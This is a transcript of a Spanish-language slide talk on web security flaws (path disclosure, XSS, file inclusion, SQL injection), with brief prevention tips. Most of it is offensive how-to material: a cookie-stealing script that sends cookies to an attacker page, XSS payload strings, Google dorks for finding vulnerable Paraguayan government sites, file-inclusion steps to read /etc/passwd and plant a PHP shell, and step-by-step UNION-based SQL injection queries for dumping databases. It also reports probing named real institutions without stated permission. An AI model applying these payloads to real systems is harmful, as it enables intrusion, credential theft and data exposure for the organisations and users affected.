La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

Errores comunes al desarrollar websites SEGURIDAD WEB.

Presentaciones similares


Presentación del tema: "Errores comunes al desarrollar websites SEGURIDAD WEB."— Transcripción de la presentación:

1 Errores comunes al desarrollar websites SEGURIDAD WEB

2 Si, aprenderemos a hackear sitios web, no obstante.. Advertencia: Utilizaremos sitios webs reales para mostrar sus vulnerabilidades, sólo con fines educativos. No se va a defacear ningún sitio durante esta charla, simplemente testearlos y ver sus agujeros de seguridad. ¿APRENDEREMOS A HACKEAR SITIOS WEB?

3 Requisitos Temática de la charla ANTES DE EMPEZAR

4 ¿Ya han sido hackeados? PREGUNTA

5 Full Path Disclosure - FPD Cross-site Scripting – XSS Local File Inclusion – LFI Remote File Inclusion – RFI SQL Injection - SQLi TIPOS DE VULNERABILIDADES

6 FULL PATH DISCLOSURE - FPD Vulnerabilidad que permite al atacante ver el path absoluta donde se encuentra el sitio web. Ejemplo: /home/usuario_victima/public_html/ Peligrosidad baja, no obstante, combinado con otros tipos de vulnerabilidades como LFI o SQLi se vuelve interesante ¿Cómo conseguirlo? Manipulación de parámetros, ya sea $_GET, $_POST, Cookies Investigando en buscadores como Google ¿Qué podemos hacer con el path obtenido? Podemos identificar el posible usuario FTP, para intentar conseguir ingresar por FTP con método de fuerza bruta. Aplicación de fuerza bruta: Bruter Combinar con LFI o SQLi para lograr incluir efectivamente archivos o hacer dump de la base de datos

7 FULL PATH DISCLOSURE - FPD ¿Cómo prevenirlo? Principalmente, deshabilitando que se muestren los errores php.ini: display_errors = "off" httpd.conf/apache2.conf: display_errors off php_flag Script PHP: ini_set ('display_errors', false); Además, controlando que estén seteadas las variables antes de utilizarlas, controlar que exista archivos antes de incluirlos, validación de variables. Con el primer paso ya basta, ya que no se mostrará nada, no obstante no está de más aplicar esto por recomendaciones de buena programación

8 EJEMPLO- FPD Buscamos en Google warning inurl:gov.py filetype:php En este caso buscamos warning en sitios del gobierno de paraguay, pero podemos utilizar otras variantes, como ser: Fatal error, Notice, undefined function, etc

9 CROSS-SITE SCRIPTING – XSS Vulnerabilidad que permite al atacante inyectar código que será interpretado en el cliente, como ser JavaScript, VBScript, HTML, CSS. Podemos lograr: Hacer phishing Robo de cookies Deface via JS ¿Cómo podemos evitarlo? Controlando antes de mostrar algún dato dinámico, por ejemplo en PHP con el uso de la función htmlentities(), que remplaza los caracteres especiales por su equivalente de HTML

10 ROBO DE COOKIES En el sitio atacado: Publicar el siguiente código: window.open("http://localhost/sitio2/cookie.php?cookies="+document.cookie); En nuestro sitio: Crear un archivo cookie.php en el cual: Obtenemos la variable $_GET[cookies] La enviamos a nuestro Escribimos en un archivo de texto Insertamos en una base de datos Mostramos un mensaje al usuario para confundirlo, como ser: En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos

11 EJEMPLOS DE XSS '">> XSS '">> alert('XSS') '>> XSS "> onload=alert('XSS')> window.alert("Xyli !"); "/> [color=red' onmouseover="alert('xss')"]mouse over[/color] alert(0) alert(String.fromCharCode(88,83,83))

12 Local FILE INCLUSION – LFI Vulnerabilidad que permite al atacante mediante la manipulación de parámetros $_GET, $_POST incluir archivos ya existentes en el servidor, los cuales no son propios de la app. Podemos lograr: Ver archivos del sistema, como /etc/passwd, /etc/group Inclusión de archivos con código malicioso previamente insertado Forzar archivos de la app, si posee un sistema de descarga con bug LFI ¿Cómo podemos evitarlo? Se lo puede evitar seleccionando qué archivos específicamente pueden ser mostrados, de tal manera que si el archivo solicitado no está en la lista, no se podrá acceder a él.

13 SITIOS A TESTEAR LFI Mostrando archivos del sistema Senado - SIL - Sistema de Información Legislativa Indert - Instituto Nacional de Desarrollo Rural y de la Tierra CeConsult - Centro de Consultores Cooperativa Coofy LTDA * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

14 SITIOS A TESTEAR LFI Bajando archivos de la APP Cooperativa San Cristobal: CNCSP - Cámara Nacional de Comercio y Servicios de Paraguay TSJE – Tribunal Superior de Justicia Electoral * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

15 REMOTE FILE INCLUSION – RFI Es una vulnerabilidad que sólo se da en PHP, consiste en la inclusión de archivos remotos (que se encuentran en otros servidores) mediante include. No se da en ASP. Para que funcione debe estar habilitado url_allow_include ¿Qué podemos lograr? Inclusión de archivos remotos para ejecución de codigo malicioso ¿Cómo lograrlo? En el archivo cmd.txt tenemos el código Se puede utiilizar exec(), shell_exec(), system(), passthru() Lo cual nos permitirá la ejecución de comandos, como por ejemplo descargar un phpshell

16 SQL INJECTION - SQLI Vulnerabilidad en la cual el atacante inserta código SQL para obtención de datos de la DB Ingresar al administrador: Colocamos: Usuario: or 1 = 1 -- (siempre se cumplira) Password: Debería ingresar al administrador si posee SQLi ya que la condición insertada siempre se cumplirá y el resto está comentado Select * from usuario where usuario = or 1 = 1 – and pass =

17 SQL INJECTION - SQLI Si el login no tiene vulnerabilidad SQLi tenemos otras opciones Pasos: Identificar agujero, ejemplo ingresando: 1 and 1 = 1 -- (true) ó 1 and 1 = and 1 = 0 -- (false) ó 1 and 1 = 0 – El comportamiento de la injección and 1 = 1-- y and 1 = 0 -- debería mostrar un comportamiento distinto respecto a lo que se muestra en la página, ya que lo primero siempre se cumple, y lo segundo nunca se cumple. Donde dice – se puede usar también #, es para comentar todo lo que pueda haber luego. Ejemplo: Select id, titulo, contenido from articulos where id = 1 and estado = 1 Select id, titulo, contenido from articulos where id = 1 and 1 = 1 – and estado = 1

18 PASOS PARA OBTENER DATOS - SQLI Obtener la cantidad de columnas que afecta el query donde queremos injectar código SQL Obtener tablas Obtener columnas de tablas Obtener datos deseados Crear archivo con código malicioso para luego subir PHPShell (* Opcional )

19 OBTENER CANTIDAD DE COLUMNAS- SQLI select id, titulo, contenido from articulos where id =1 and estado = 1 Insertamos SQL select id, titulo, contenido from articulos where id =1 union select 1 -- and estado = 1 Vamos agregando datos al select hasta que deje de dar error, o no muestre en blanco, o hasta que muestre el contenido como si no hubiésemos hecho la inyección select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1 select id, titulo, contenido from articulos where id =1 union select 1,2,3 -- and estado = 1 En este último caso igualamos la cantidad de columnas, lo cual ya no debería darnos error SQL y deberíamos ver el contenido normal, entonces en este punto necesimamos que solo se muestre nuestro query y no lo primero, para esto debemos aplicar and 1 = 0 select id, titulo, contenido from articulos where id =1 and 1 = 0 union select 1,2,3 -- and estado = 1 Veremos entonces en la página algunos de los datos 1, 2 o 3

20 OBTENIENDO INFORMACIÓN DE LA DB select user(),database(),version(),connection_id() Ejemplo en la URL union select concat(user(), 0x3a, database(), 0x3a, version(), connection_id(), 0x3a),2,3,4--

21 OBTENIENDO TABLAS select table_name from information_schema.tables limit 10,1 Remplazar el 10 por el offset deseado, debemos poner 1,1; luego 1,2; luego 1,3 hasta encontrar una tabla que nos interese, por ejemplo usuarios en 50,1 Ejemplo en la URL and 1= 0 union select table_name,2,3,4 from information_schema.tables limit 50,1-- Otra opción. Agrupando las tablas. select group_concat(table_name) from information_schema.tables Esquema específico select table_name from information_schema.tables where table_schema = nombre_db Listar tablas exceptuando las de MySQL SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

22 OBTENIENDO COLUMNAS select column_name from information_schema.columns where table_name = usuarios and table_column like A Si se escapa la comilla, la variante es pasar el string a ASCII: select column_name from information_schema.columns where table_name=char(117,115,101,114,115) También podemos agregar filtro de columna select column_name from information_schema.columns where table_name = usuarios and table_column like A Ejemplo en la URL and 1= 0 union select column_name,2,3,4,5,6 from information_schema.columns where table_name=char(117,115,101,114,115)-- Otra opción select group_concat(table_name) from information_schema.tables

23 SITIOS A TESTEAR SQL INJECTION OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP– Envío por GET ANR – Asociación Nacional Republicana UNIDA - Universidad de la Integración de las Américas Universidad Católica Nuestra Señora de la Asunción: Cooperativa COOMECIPAR SIF AMERICA S.A. * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

24 SITIOS A TESTEAR SQL INJECTION OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP – Envío por POST SENADO * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

25 ¿Preguntas?

26 Conclusión Sitios a los que encontramos agujeros de seguridad efectivamente: Sitios del Gobiernos Universidades Privadas Cooperativas Otras instituciones

27 Contacto Fernando Goetz Twitter * Las consultas son bienvenidas.


Descargar ppt "Errores comunes al desarrollar websites SEGURIDAD WEB."

Presentaciones similares


Anuncios Google